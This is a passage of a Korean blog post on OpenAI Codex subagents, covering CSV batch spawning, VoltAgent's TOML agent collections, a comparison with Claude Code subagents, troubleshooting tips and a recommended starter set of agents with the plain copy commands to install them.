&lt;pre class=&quot;1c&quot; style=&quot;background-color: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; padding: 20px; border-radius: 8px; overflow-x: auto; line-height: 1.6; margin: 15px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 공식 문서 예시 프롬프트
&quot;설정 모달이 저장을 못 하는 이유를 조사해줘.
  - browser_debugger가 버그를 재현하고 스크린샷을 찍어
  - code_mapper가 해당 코드 경로를 추적해
  두 결과를 바탕으로 ui_fixer가 최소한의 수정으로 고쳐줘.&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;예제 3: spawn_agents_on_csv 배치 처리 (실험적 기능)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CSV의 각 행마다 워커 에이전트를 생성하는 실험적 기능이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대규모 코드베이스에서 파일별 처리나 이슈별 분석에 유용하다. (출처: &lt;a href=&quot;https://developers.openai.com/codex/subagents&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex 공식 문서&lt;/a&gt;)&lt;/p&gt;
&lt;pre class=&quot;yaml&quot; style=&quot;background-color: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; padding: 20px; border-radius: 8px; overflow-x: auto; line-height: 1.6; margin: 15px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# tasks.csv 예시
id,file_path,task
1,src/auth/login.ts,보안 취약점 스캔
2,src/api/users.ts,입력 검증 누락 확인
3,src/db/schema.ts,SQL 인젝션 패턴 검토

# spawn_agents_on_csv 사용 (프롬프트에서 지시)
&quot;tasks.csv의 각 행마다 security-auditor를 생성해서
 file_path를 task에 따라 분석하고 결과를 report.csv에 저장해줘.&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px 20px; border-radius: 0 8px 8px 0; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;토큰 주의&lt;/b&gt;: &lt;a href=&quot;https://deepakness.com/raw/codex-subagents/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Deepakness의 실사용 경험&lt;/a&gt;에 따르면 서브에이전트로 동일 작업을 처리하면 단일 에이전트 대비 토큰 소비가 크게 증가한다. 속도는 빠르지만 비용이 올라간다. CSV 배치는 특히 토큰 사용량 모니터링이 필요하다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- Section 6 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 8px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;6. VoltAgent 에이전트 생태계&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;VoltAgent는 &lt;code&gt;awesome-codex-subagents&lt;/code&gt;만 운영하는 것이 아니다. 플랫폼별로 분리된 세 가지 저장소를 유지한다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px; font-weight: 600;&quot;&gt;저장소&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px; font-weight: 600;&quot;&gt;Stars&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px; font-weight: 600;&quot;&gt;대상 플랫폼&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px; font-weight: 600;&quot;&gt;포맷&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px; font-weight: 600;&quot;&gt;규모&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;a href=&quot;https://github.com/VoltAgent/awesome-agent-skills&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;awesome-agent-skills&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;12.9k&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;Claude Code, Codex, Gemini CLI, Cursor, Windsurf 등 8개&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;SKILL.md&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;1,030+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;a href=&quot;https://github.com/VoltAgent/awesome-codex-subagents&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;awesome-codex-subagents&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;2,778+&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;OpenAI Codex 전용&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;.toml&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;136+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;a href=&quot;https://github.com/VoltAgent/awesome-claude-code-subagents&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;awesome-claude-code-subagents&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;미확인&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;Claude Code 전용&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;.md&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;100+&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;color: #666;&quot; data-ke-size=&quot;size8&quot;&gt;&lt;i&gt;Stars 수치: awesome-codex-subagents는 GitHub API 직접 확인(2026-03-26 기준), awesome-agent-skills는 WebFetch 확인, awesome-claude-code-subagents Stars는 직접 검증하지 못함.&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;awesome-agent-skills&lt;/code&gt;의 특이점은 &quot;AI 팀에서 실제로 쓰는 스킬만 큐레이션, 대량 생성 아님&quot;을 표방한다는 것이다. Anthropic, Google Labs, Vercel, Stripe, Cloudflare 등 공식 팀의 스킬이 포함되어 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- Section 7 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 8px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;7. Claude Code 서브에이전트와의 비교&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;두 플랫폼의 서브에이전트 구현 방식은 목표는 같지만 접근이 다르다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a href=&quot;https://medium.com/@richardhightower/codex-gets-subagents-the-parallel-ai-coding-pattern-is-now-industry-standard-how-does-it-stack-35bd217ef11f&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Rick Hightower Medium, 2026-03-21&lt;/a&gt;, &lt;a href=&quot;https://developers.openai.com/codex/subagents&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex 공식 문서&lt;/a&gt;)&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px; font-weight: 600;&quot;&gt;항목&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px; font-weight: 600;&quot;&gt;Codex 서브에이전트&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px; font-weight: 600;&quot;&gt;Claude Code 서브에이전트&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;b&gt;설정 포맷&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;TOML (&lt;code&gt;.toml&lt;/code&gt;)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;Markdown (&lt;code&gt;.md&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;b&gt;설정 위치&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;code&gt;~/.codex/agents/&lt;/code&gt; or &lt;code&gt;.codex/agents/&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;code&gt;~/.claude/agents/&lt;/code&gt; or &lt;code&gt;.claude/agents/&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;b&gt;빌트인 에이전트&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;default, worker, explorer&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;미지정 시 일반 에이전트로 처리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;b&gt;격리 방식&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;클라우드 기반 인프라 처리&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;Git worktree 격리 지원&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;b&gt;배치 처리&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;spawn_agents_on_csv (실험적)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;해당 없음 (별도 구현 필요)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;b&gt;최대 동시 스레드&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;6 (config.toml 조정 가능)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;미확인&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;b&gt;컬렉션 생태계&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;awesome-codex-subagents (2,778+ Stars)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;awesome-claude-code-subagents (100+)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;b&gt;버전관리/공유&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;git 커밋 가능 (.toml 파일)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;git 커밋 가능 (.md 파일)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;color: #666;&quot; data-ke-size=&quot;size8&quot;&gt;&lt;i&gt;한 줄 요약: Codex는 클라우드 기반 병렬 실행과 CSV 배치 처리가 강하고, Claude Code는 Git worktree 기반 코드 격리가 강하다. 목적에 따라 선택하면 된다.&lt;/i&gt;&lt;/p&gt;
&lt;!-- Section 8 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 8px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;8. 주의사항 &amp;amp; 트러블슈팅 Q&amp;amp;A&lt;/h2&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px 20px; border-radius: 0 8px 8px 0; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;보안 주의&lt;/b&gt;: VoltAgent 공식 README는 &quot;에이전트는 있는 그대로(as is) 제공되며, 관리자는 보안이나 정확성을 감사하지 않는다&quot;고 명시한다. 외부 에이전트를 프로덕션에 적용하기 전에 반드시 instructions 내용을 직접 검토하라. (출처: &lt;a href=&quot;https://github.com/VoltAgent/awesome-codex-subagents&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;awesome-codex-subagents README 보안 섹션&lt;/a&gt;)&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 20px 25px; margin: 20px 0;&quot;&gt;
&lt;h3 style=&quot;color: #1a3a52; margin: 0 0 15px 0; font-size: 18px;&quot; data-ke-size=&quot;size23&quot;&gt;Q&amp;amp;A&lt;/h3&gt;
&lt;p style=&quot;font-weight: bold; color: #0066cc; margin: 15px 0 5px 0;&quot; data-ke-size=&quot;size8&quot;&gt;Q1. 에이전트를 설치했는데 Codex가 인식을 못 한다&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 15px 0;&quot; data-ke-size=&quot;size8&quot;&gt;Codex 세션을 재시작해야 한다. TOML 파일명이 아니라 &lt;code&gt;name&lt;/code&gt; 필드 값으로 호출하고 있는지도 확인하라. 프로젝트별 경로(&lt;code&gt;.codex/agents/&lt;/code&gt;)가 전역(&lt;code&gt;~/.codex/agents/&lt;/code&gt;)보다 우선한다.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 15px 0;&quot; data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-weight: bold; color: #0066cc; margin: 15px 0 5px 0;&quot; data-ke-size=&quot;size8&quot;&gt;Q2. 서브에이전트가 예상보다 토큰을 너무 많이 쓴다&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 15px 0;&quot; data-ke-size=&quot;size8&quot;&gt;병렬 에이전트는 동일 작업 대비 단일 에이전트보다 토큰이 더 든다(속도 &amp;uarr;, 비용 &amp;uarr;). &lt;code&gt;gpt-5.4&lt;/code&gt;를 &lt;code&gt;gpt-5.3-codex-spark&lt;/code&gt;로 교체하거나, &lt;code&gt;model_reasoning_effort = &quot;low&quot;&lt;/code&gt;로 낮추면 된다. 단순 작업에는 고성능 모델을 쓰지 않아도 된다.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 15px 0;&quot; data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-weight: bold; color: #0066cc; margin: 15px 0 5px 0;&quot; data-ke-size=&quot;size8&quot;&gt;Q3. 에이전트가 자꾸 범위를 벗어난 작업을 한다&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 15px 0;&quot; data-ke-size=&quot;size8&quot;&gt;공식 문서 베스트 프랙티스에 따르면 &quot;좋은 에이전트는 좁고 단호하게(narrow and opinionated)&quot; 작성해야 한다. &lt;code&gt;instructions&lt;/code&gt;에 &quot;이 에이전트가 하지 말아야 할 것&quot; 섹션을 명시적으로 추가하라. &lt;code&gt;sandbox_mode = &quot;read-only&quot;&lt;/code&gt;로 쓰기 권한을 제한하는 것도 방법이다.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 15px 0;&quot; data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-weight: bold; color: #0066cc; margin: 15px 0 5px 0;&quot; data-ke-size=&quot;size8&quot;&gt;Q4. IDE에서는 서브에이전트를 쓸 수 없나?&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 0 0;&quot; data-ke-size=&quot;size8&quot;&gt;현재 공식 문서 기준 서브에이전트 워크플로우는 기본 활성화되어 있다. 다만 서브에이전트 활동 표시는 Codex 앱과 CLI 중심이며, IDE Extension 가시성은 아직 따라오는 중이다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 8px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;9. 결론: 언제 쓰고 언제 쓰지 않는가&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;써야 할 때&lt;/h3&gt;
&lt;ul style=&quot;padding-left: 25px; margin: 10px 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;병렬로 처리할 독립적인 작업이 2개 이상일 때 (탐색 + 분석 + 수정)&lt;/li&gt;
&lt;li&gt;역할별로 다른 권한이 필요할 때 (읽기 전용 감사자 vs 쓰기 개발자)&lt;/li&gt;
&lt;li&gt;CSV 기반의 대규모 반복 작업이 있을 때&lt;/li&gt;
&lt;li&gt;컨텍스트 오염 없이 전문화된 분석이 필요할 때&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;쓰지 않아야 할 때&lt;/h3&gt;
&lt;ul style=&quot;padding-left: 25px; margin: 10px 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;단순하고 빠른 1회성 작업 (서브에이전트 설정 비용이 더 클 때)&lt;/li&gt;
&lt;li&gt;토큰 예산이 빠듯할 때 (병렬 실행은 토큰 증가를 수반)&lt;/li&gt;
&lt;li&gt;작업 간 강한 순서 의존성이 있을 때 (A가 끝나야 B를 시작할 수 있을 때)&lt;/li&gt;
&lt;li&gt;IDE에서&amp;nbsp;서브에이전트&amp;nbsp;활동&amp;nbsp;표시까지&amp;nbsp;완전하게&amp;nbsp;기대하는&amp;nbsp;작업일&amp;nbsp;때&amp;nbsp;(현재&amp;nbsp;가시성은&amp;nbsp;앱/CLI&amp;nbsp;중심)&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px 20px; border-radius: 0 8px 8px 0; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;awesome-codex-subagents의 진짜 가치&lt;/b&gt;는 136개 에이전트 그 자체보다 &lt;b&gt;&quot;TOML로 에이전트를 정의하는 실전 패턴의 레퍼런스&quot;&lt;/b&gt;에 있다. 컬렉션을 그대로 쓰기보다, 자신의 도메인에 맞게 수정하고 팀 저장소에서 버전 관리하는 것이 장기적으로 더 가치 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- Section 10: 개발자+블로거 추천 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 8px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;10. 개인적인 사용 고민 방법 공유&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나의 경우 요즘 가벼운 바이브 코딩 개발, 풀스택 개발자라고 가정하고 어떤것을 쓰면 좋을지 고민해보았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;136개 에이전트를 전부 설치하는 것은 오히려 역효과다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;역할별로 즉시 체감할 수 있는 에이전트를 먼저 골라 실제 루틴에 끼워넣는 것이 현실적일 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;역할별 추천 에이전트 매핑&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px; text-align: left; font-weight: 600;&quot;&gt;작업 영역&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px; text-align: left; font-weight: 600;&quot;&gt;추천 에이전트 (실제 파일명)&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px; text-align: left; font-weight: 600;&quot;&gt;모델&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px; text-align: left; font-weight: 600;&quot;&gt;실제 활용 시나리오&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;b&gt;Next.js 프론트엔드&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;code&gt;nextjs-developer&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;gpt-5.4&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;App Router 마이그레이션, SSR/ISR 전략, 서버 컴포넌트 리팩토링&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;b&gt;Java / Spring Boot&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;code&gt;spring-boot-engineer&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;gpt-5.4&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;Spring Boot 3.x 서비스 설계, JPA N+1 진단, 멀티모듈 구조 검토&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;b&gt;Python / RAG&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;code&gt;python-pro&lt;/code&gt;, &lt;code&gt;llm-architect&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;gpt-5.4&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;RAG 파이프라인 설계, 청킹&amp;middot;임베딩 전략, LangChain/LlamaIndex 통합&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;b&gt;데이터베이스&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;code&gt;database-optimizer&lt;/code&gt;, &lt;code&gt;postgres-pro&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;gpt-5.4&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;인덱스 전략 분석, 슬로우 쿼리 진단, 스키마 마이그레이션 검토&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;b&gt;인프라 / IaC&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;code&gt;devops-engineer&lt;/code&gt;, &lt;code&gt;terraform-engineer&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;gpt-5.4&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;CI/CD 파이프라인 설계, Terraform 모듈 리뷰, 컨테이너 최적화&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;b&gt;소스 리뷰 / 보안&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;code&gt;code-reviewer&lt;/code&gt;, &lt;code&gt;security-auditor&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;gpt-5.4&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;PR 병렬 리뷰(품질+보안 동시), 안티패턴 탐지, 프롬프트 인젝션 스캔&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;color: #666;&quot; data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 30px;&quot; data-ke-size=&quot;size23&quot;&gt;스타터 킷 6 + 확장팩 2&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉시 체감이 큰 7개를 먼저 설치하고, DB&amp;middot;인프라 작업 비중이 높다면 +2 확장팩을 추가한다. 경로는 GitHub API로 직접 검증한 실제 디렉토리 구조다.&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background-color: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; padding: 20px; border-radius: 8px; overflow-x: auto; line-height: 1.6; margin: 15px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;cd awesome-codex-subagents

# ── 스타터 킷 6 (즉시 설치) ──────────────────────────────
cp categories/02-language-specialists/nextjs-developer.toml ~/.codex/agents/
cp categories/02-language-specialists/spring-boot-engineer.toml ~/.codex/agents/
cp categories/02-language-specialists/python-pro.toml ~/.codex/agents/
cp categories/05-data-ai/llm-architect.toml ~/.codex/agents/
cp categories/04-quality-security/code-reviewer.toml ~/.codex/agents/
cp categories/04-quality-security/security-auditor.toml ~/.codex/agents/

# ── 확장팩 +2 (DB&amp;middot;인프라 비중이 높다면 추가) ──────────────
cp categories/05-data-ai/database-optimizer.toml ~/.codex/agents/
cp categories/03-infrastructure/terraform-engineer.toml ~/.codex/agents/&lt;/code&gt;&lt;/pre&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 30px;&quot; data-ke-size=&quot;size23&quot;&gt;워크플로우 예시 : RAG 파이프라인 설계 + 보안 검토&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;RAG 시스템을 설계할 때 아키텍처와 보안을 동시에 검토하는 패턴이다.&lt;/p&gt;
